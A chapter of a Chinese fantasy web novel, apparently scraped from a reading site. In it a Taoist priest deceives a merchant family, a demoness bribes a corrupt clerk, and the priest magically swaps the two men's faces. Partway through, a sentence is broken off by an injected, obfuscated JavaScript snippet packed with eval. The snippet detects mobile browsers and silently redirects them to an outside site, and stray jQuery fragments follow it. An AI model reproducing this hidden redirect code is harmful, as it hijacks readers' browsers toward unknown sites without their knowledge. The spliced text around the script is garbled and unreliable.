第239章 偷梁换柱
作品:《山海戒指》 皇澄海夫妇如同抓住了救命稻草,扑通跪下,抱着道长的腿苦苦哀求:“仙长救命!仙长大慈大悲,救救我们吧!那妖怪…妖怪她盯上我了啊!”
郝仁道长面现悲悯,轻轻扶起二人,长叹一声:“福生无量天尊!贫道早知此妖祸害乡里,与贫道更是缠斗了百年之久!此妖狡猾异常,惯会变化隐匿,贫道多次寻其巢穴,皆被她溜走。
为今之计,只能等她主动找上门来,贫道才好出手将其擒拿诛灭!”他捋了捋拂尘,肃容道:“贫道尚需回去准备些降魔法器。此乃贫道以本命精血绘制的‘辟邪护身符’,尔等速速将其贴于门窗、梁柱之上,随身亦需携带。
有此符在,那妖物便近不得身,邪祟之气亦难侵体。切记,符在人在,符破人亡!贫道去去便回!”说罢,从袖中取出一叠闪烁着微弱金光的黄纸符箓,递给战战兢兢的皇澄海,便身形一晃,化作一道清风消失在门外,只留下余音袅袅。
皇澄海夫妇捧着那叠符咒,如同捧着救命的稻草,又像是捧着一块烫手的烙铁。符纸微凉,上面的朱砂符文透着玄奥,却也带着一丝不易察觉的阴森寒意。
皇澄海内心恐惧与希望交织,身体不受控制地颤抖着,依言将符咒小心翼翼地贴满了门窗、房梁,甚至枕头底下也塞了一张,这才稍稍松了口气,但那深入骨髓的恐惧感,却如跗骨之蛆,挥之不去。
第三日。
子时刚过,阴风骤起,将窗棂纸吹得噗噗作响。一股浓烈的腥风猛地灌入房中,紧接着屋顶瓦片“哗啦”一阵乱响,竟被一股巨力硬生生扒开一个大洞!
一张扭曲狰狞、半人半熊的怪脸从洞口探下,猩红的眼珠子滴溜溜转动,死死锁定了蜷缩在桌下瑟瑟发抖的皇澄海!
“情郎~~奴家想你想得好苦啊……”尖利诡异的笑声在夜空中回荡。
然而,就在她试图闯入的瞬间,屋内各处贴着的符咒骤然亮起刺目的金光,无数细密的金色符文如同活物般飞舞起来,交织成一张巨大的光网,将整个房间笼罩!
琇莹伸下的利爪触碰金光,如同被烈火灼烧,发出“嗤啦”的焦响,冒起一股黑烟!她痛呼一声,猛地缩回爪子,脸上戾气更盛。
“该死的牛鼻子!又是这些破符!皇澄海你这个负心郎!”琇莹恨恨地咒骂了一句。她怨毒地瞪了屋内一眼,心知强闯符阵代价太大。眼珠一转,计上心来。“哼,你以为这样就能护住他?老娘有的是法子玩死你!”
她化作一股阴风,瞬息间来到小镇衙门后院。书房内搂着一名女眷的正是一位姓李的炼气期的典史官。此人獐头鼠目,面相贪婪,修为平平,却最是贪财好势,不论灵石和凡俗金银,皆是其最爱。
这名典史官正与那名女眷卿卿我我之际,其身旁的女眷忽然陷入昏迷。未待典史官惊呼,琇莹现身,二话不说,直接抛出一锭金灿灿的、足有拳头大小的元宝!
李典史一开始惊惧,但看到金元宝的一刻,其眼睛瞬间亮了,比天上的星星还亮。他一把抓住元宝,贪婪地用牙咬了咬,感受着那沉甸甸的分量和诱人的金光,涎着脸道:“仙子有何吩咐?小的赴汤蹈火,在所不辞!”
琇莹附耳低语几句,脸上带着残忍的笑意。李典史听完,毫不犹豫地拍着胸脯:“小事一桩!包在小的身上!勾结邪修叛党,危害仙朝,此等大逆不道之徒,必须严惩!”他立刻点齐一班衙役,如狼似虎般扑向皇澄海家。
不到半个时辰,皇家大门被踹开。李典史趾高气扬地宣读所谓的“罪状”,抄没家产的封条瞬间贴满了大门。
皇澄海一家老小,连同几个贴身丫鬟,全被粗鲁地套上枷锁,哭喊着被押往阴森潮湿、散发着霉味和淡淡血腥气的大牢。
整个过程,皇澄海贴在身上的护身符闪烁着微弱的金光,却被衙役身上一层官方法印的气息所压制,竟无法发挥全部效力,只能眼睁睁看着家人被拖走。琇莹女妖也在事后如约将一袋灵石给付于了李典史。
远处阴影中,林安负手而立,眸光深邃如渊,将这一切尽收眼底。他身旁的九婉抱着手臂,冷哼道:“这贪官污吏,比那妖物也好不到哪里去!公子,那老道会出手吗?”
林安淡淡道:“戏演到这份上,主角怎能缺席?他费尽心机设下此局,不就是为了此刻?只是……这棋盘中,似乎还有我们未曾看清的棋子。”
他眉心那点隐隐透着高维印记轮廓的仙光微微闪烁,宿命通的感知如同无形的丝线,缠绕着牢狱方向,捕捉着那老道郝仁的气息。
阴暗潮湿、散发着腐臭的牢狱深处。皇澄海缩在冰冷的稻草堆上,屁股底下又湿又冷,忍不住抱怨:“完了完了,这辈子完了!夫人呐,这鬼地方又黑又臭,连口干净水都没有,怎么活啊!这屁股底下湿乎乎的,难受**!”他绝望地抓着夫人的手。
他话音刚落,墙角阴影一阵扭曲,郝仁道长竟凭空出现在牢房内!他依旧是一副悲天悯人的样子:“皇居士莫慌,莫慌。区区牢狱之苦,何足挂齿?闭眼。”
皇澄海夫妇不明所以,但还是依言闭上双眼。只听郝仁口中念念有词:“太上老君急急如律令!”其拂尘挥洒间,一道柔和却不刺眼的光芒闪过。等皇澄海睁开眼,顿时惊呆了!
只见原本肮脏冰冷的牢房地面,竟出现了一张干净的红木圆桌,上面摆满了热气腾腾、香气四溢的珍馐美馔!鸡鸭鱼肉,时令果蔬,甚至还有一壶温好的佳酿!
“仙长!您真是活神仙啊!”皇澄海惊喜万分,扑到桌边就要狼吞虎咽。然而刚拿起筷子,看到旁边牢房里憔悴哭泣的夫人和丫鬟,又想起自己身陷囹圄的处境,顿觉口中美食如同嚼蜡,难以下咽。
郝仁微微一笑:“莫急莫急。”他再次闭目凝神,拂尘对着墙角虚空一点。光芒再闪,一张铺着锦缎被褥、干净舒适的雕花大床凭空出现。“酒足饭饱,正该歇息。居士夫人,请自便。”
皇澄海看着酒肉,又看看舒适的床铺,再想想夫人丫鬟,心中天人交战,最终还是疲惫和恐惧占了上风。他囫囵吞枣般塞了些食物,便一头栽倒在那柔软得不像话的床上,没过多久,就打起了震天的呼噜。
确认皇澄海熟睡,郝仁脸上的悲悯之色瞬间褪去,变得冰冷而诡异。他走到床边,取出一支闪烁着幽光的画笔和一张惨白的人皮纸,对着皇澄海的脸庞,一笔一笔,细致入微地描摹起来。每一笔落下,那白纸上的人脸就更清晰一分,带着一种令人毛骨悚然的生命力。
画像完成,郝仁嘴角勾起一抹邪笑。他收起人皮画像,身形再次如水波般晃动,消失不见。
下一刻,他出现在镇上一家灯火通明的花楼雅间外。屋内,李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470738|181345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
典史正左拥右抱,喝得面红耳赤,享受着“抄家有功”后的得意快活。
“李大人好雅兴啊。”一个冰冷的声音突兀地在李典史耳边响起。
“谁?!”李典史醉眼朦胧地回头,猛然看到一身道袍、面无表情的郝仁如同鬼魅般站在自己身后!他吓得魂飞魄散,酒意瞬间化作冷汗,尖叫一声:“鬼啊——!”直接两眼一翻白,昏死过去。
郝仁不禁摇摇头,自言自语道:“真是个没用的废物。一名炼气期的修士,竟然如此胆小,看来此人被王庭派遣此地多年,早已经荒废了修炼,更是被凡俗酒色掏空了身子。
殊不知色是‘刮骨刀’!修真者都是吸纳炉鼎,现在看来多半是元阳也早就废了,不过如此正好,朱炎砂就着这废了的元阳则效果更好。”
其手中动作快如闪电,面无表情地将手中那张刚刚画好、散发着微光的人皮画像往李典史脸上一盖!画像如同活物般瞬间融入其皮肉之中。
眨眼间,李典史的脸就变成了皇澄海的模样!郝仁抓住这个昏迷的“皇澄海”,身影再次消失。
他出现在李典史府邸中,将被施了昏睡咒、变成李典史模样的真皇澄海放在内室的床上。接着,他又将刚刚变成“皇澄海”的李典史,移形换位,送到了琇莹指定的、那处她用来幽会的私宅内。
偷梁换柱,以假乱真!一场荒诞而致命的戏剧,拉开了第二幕。
第四日。
小镇公堂之上。
顶着李典史面孔(实为皇澄海)的假典史,被衙役们推推搡搡地按在了平日李典史坐的主审官位子上。他强装镇定,学着记忆中官老爷的模样,一拍惊堂木,声音发颤:“升…升堂!带…带人犯!”
两个村民被衙役押了上来,跪在堂下。左边一个面黄肌瘦的汉子哭喊道:“青天大老爷!他占了我家祖传的五尺三分宅基地啊!求老爷做主!”
右边一个稍微富态些的立刻反驳:“冤枉啊老爷!那地分明是我家的祖产,有地契为证的!”
富态村民说着,偷偷朝公案后的“李典史”(皇澄海)使了个眼色,压低声音提醒:“老爷,小的前几日托人给您送过三两银子的礼钱呀,当然是我有理啦!您收了我的礼,就得给我做主啊!”
皇澄海(假典史)坐在高位上,听着这明目张胆的索贿暗示,再感受到堂下无数双眼睛盯着自己,顿时慌了神。
他哪懂这些官场门道?只觉得这位置烫屁股,这些人吵闹得他头昏脑涨。他想着昨夜仙长变出的美酒佳肴和舒适大床,只求快点结束这场闹剧。
“混账!”他猛地一拍惊堂木,色厉内荏地指着那面黄肌瘦的原告吼道:“刁民!分明是你无理取闹!还敢污蔑老爷收礼?来人啊,给我轰出去!”
衙役们面面相觑,平日里李典史可不是这么断案的,收了钱不办事?
领头的班头凑近低语,声音带着困惑和一丝不满:“老爷,这…这不合规矩吧?这原告可是送过钱的,他不占理,事情难办啊。
那被告可没孝敬过咱们……这当官儿的,哪有不收钱就断案的道理?脑子不灵光了?”这话语里的潜台词和抱怨,让皇澄海更加手足无措,烦躁不堪。
“走走走!快走!烦**!”皇澄海挥着手,只想把这麻烦的人和事赶紧赶走,感觉自己快要炸了。这事儿变得有意思起来。